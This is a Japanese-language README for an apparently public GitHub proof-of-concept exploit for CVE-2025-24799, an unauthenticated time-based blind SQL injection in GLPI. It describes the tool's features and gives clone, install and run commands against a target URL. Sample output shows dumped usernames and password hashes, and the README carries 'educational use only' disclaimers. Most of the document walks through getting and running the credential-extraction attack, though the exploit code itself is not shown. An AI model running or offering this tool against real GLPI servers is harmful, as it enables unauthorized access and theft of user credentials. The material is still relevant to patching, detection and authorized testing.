CVE-2025-24799 自動エクスプロイト

⚡ 概要

CVE-2025-24799 は、GLPI を対象とした概念実証 (PoC) エクスプロイトです。
このエクスプロイトは、未認証の SQL インジェクション (時間ベースのブラインド) を利用してユーザー認証情報を抽出します。

免責事項: この PoC は教育目的のみで提供されています。許可なくシステムに使用しないでください。

🛠 機能

• glpi_users テーブルと必要なカラム (name および password) を検出する
• ユーザー名とパスワードを順番に抽出する
• 未認証での悪用のための時間ベースのブラインド SQL インジェクション
• ステータス、成功、失敗、情報メッセージを色付きで表示するコンソール出力
• 最小限の依存関係で Python 3.x で動作

⚙️ インストール

1. リポジトリをクローンします:

git clone https://github.com/Rosemary1337/CVE-2025-24799.git
cd CVE-2025-24799

2. 依存関係をインストールします:

pip install -r requirements.txt

要件: requests、colorama、beautifulsoup4

🚀 使用方法

python3 main.py -u <TARGET_URL>

例:

python3 main.py -u http://target.com/index.php/ajax

引数

🎨 出力

コンソールには次のように表示されます:

• ステータスメッセージ [•]
• 成功 [✔]
• 失敗 [✖]
• 情報 [i]

例:

[•] Exploiting CVE-2025-24799...
[✔] Table 'glpi_users' found.
[✔] Required columns verified.
[i] Starting credential extraction...

[+] Credential 1: admin:5f4dcc3b5aa765d61d8327deb882cf99
[+] Credential 2: user:123456
[*] Extraction complete.

🔐 セキュリティと免責事項

• 教育およびテスト目的のみで使用してください。
• 明示的な許可なしにウェブサイトへ攻撃しないでください。
• 管理されたラボ環境または許可を受けたペネトレーションテストでのみ使用してください。

🔗 私とつながる

私はツールの構築と知識の共有を楽しむアクティブな開発者です。以下の方法で連絡できます: